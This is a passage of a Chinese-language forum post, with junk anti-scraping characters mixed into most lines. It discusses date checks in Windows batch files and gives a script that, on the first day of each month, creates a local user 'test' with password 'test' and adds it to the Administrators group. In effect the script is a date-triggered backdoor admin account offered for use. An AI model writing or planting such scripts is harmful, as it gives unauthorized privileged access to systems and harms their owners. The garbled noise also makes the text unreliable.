|
我也没有测试过,今天早上来看了看,发现没用,真是晕...
, N' o( R- p8 s9 A" U原来是"echo . | date"命令没有用,但echo . | time却是有用的,这是为什么?有人告诉我吗?
- q/ T. E. T0 k' N5 S后来想了一下,就用其它的办法来实现它. 原理是:在cmd建立一个文件后,用dir查看,除了可以显示此文件的大小、后缀外,还建显示文件建立时间,也就是本地的当前时间啦~
1 s A$ W$ c( H' j
9 ~4 [ F ~8 h2 ?& L/ |. }3 R' i* `3 T, F8 b$ E4 l4 Z9 n
所以 ,重点部份改成: 6 }2 p$ J2 a% _$ k9 L
@echo off 7 ?7 @" [. q1 S- i' S6 i: `1 U8 y
rem \\在C:建立一个空文件date.tmp
% k) Y+ d/ l0 p4 L2 [: ^ Ptype nul >c:\date.tmp 7 m; J$ @* r" j7 k, Y: A. `
rem \\查看此文件信息,及关键字-01-,也是就此文件的日期是否-01- + B+ m) F/ c! s* V
dir c:\date.tmp | find "-01-">nul
" A4 E4 ]( d/ i" N; Arem 如是不是1号,跳到end结束
; F/ n! M* h9 I1 jif errorlevel 1 goto end ' r& `! C, ^; W* T
rem 如是是1号,跳到run执行
* {+ O' e" m0 J+ e. m2 T3 c: Vif errorlevel 0 goto run 4 K3 R' ~- g% s' w% P2 c# V
:run
0 K9 a% P5 y' K) {net user test test /add
/ s0 n' f8 b" r9 Fnet localgroup administrators test /add
* O' h5 E/ i1 a v* O8 l: U* \goto end
4 K8 |6 ?3 }- V7 b:end ( }6 _: V y+ u& v" `$ E% y
del c:\date.tmp >nul 6 _# ~1 E" s: i$ A
9 A0 X' x) b$ a5 _; c! [/ `3 }$ D! E) Z
. K7 P+ u2 }9 e, l
|